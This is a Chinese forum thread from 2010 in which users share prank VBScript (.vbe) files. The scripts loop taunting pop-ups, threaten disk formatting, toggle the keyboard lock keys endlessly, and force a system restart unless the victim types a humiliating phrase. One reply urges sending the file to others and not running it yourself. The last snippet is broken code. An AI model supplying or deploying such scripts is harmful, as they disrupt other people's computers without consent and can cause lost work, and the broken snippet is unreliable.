谁有恶搞关机的vbe代码，拜托给发一个

谁有恶搞关机的vbe代码，拜托给发一个

on error resume next
DO
msgbox "嗨！！！！",64,"^_^"
msgbox "嗨！我是黑客",64,"ψ(╰_╯)"
msgbox "你是谁？为什么你家有这么多病毒？",64,"(∵)？"
msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "
msgbox "我来帮你杀毒~~~~",64,"^_^"
msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"
msgbox "还是；来捣乱吧",64,"^_^"
msgbox "首先接我的第一招~~",64,"V.S"
intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")
If intAnswer = vbYes Then
YONG=Msgbox ("很好那么请你让我知道，如果你不能让我知道你输，我将对所有硬盘进行格式化。嘿嘿！",vbYesNo,"^_^")
msgbox "抱歉 你不能出招...",64,"V.S"
If YONG = vbNo Then
msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"
msgbox chr(13) + chr(13) + chr(13) + "作者：周峻全"
DIM i
While(1)
For i=1 To 10
next
set WshShell=createObject("Wscript.Shell")
WshShell.SendKeys"{CAPSLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{SCROllLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{NUMLOCK}"
WSCRIPT.SLEEP 100
Wend
Else
End If
Else
set TUYONG=wscript.createobject("wscript.shell")
TUYONG.run ("shutdown -r -t 99999 -c &小样你输啦~~~哈哈，关机了！！！！&"),,true
End If
LOOP

创建文本文档把后缀改成 .vbe 就好了
这是最贱的2010-09-19

新建一个文本文档输入以下内容

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

最后保存为.vbe格式
发给别人试试吧 自己就不要试了吧2010-09-05

do
msgbox "气死你,关不掉"
msgbox "气死你,关不掉"
msgbox "气死你,关不掉,哈哈,我要管你机了"
dim gasudiasy as string
gasudiasy = "cmd.exe /c shutdown -r -t 60 -c"
msgbox gasudiasy
loop2010-09-05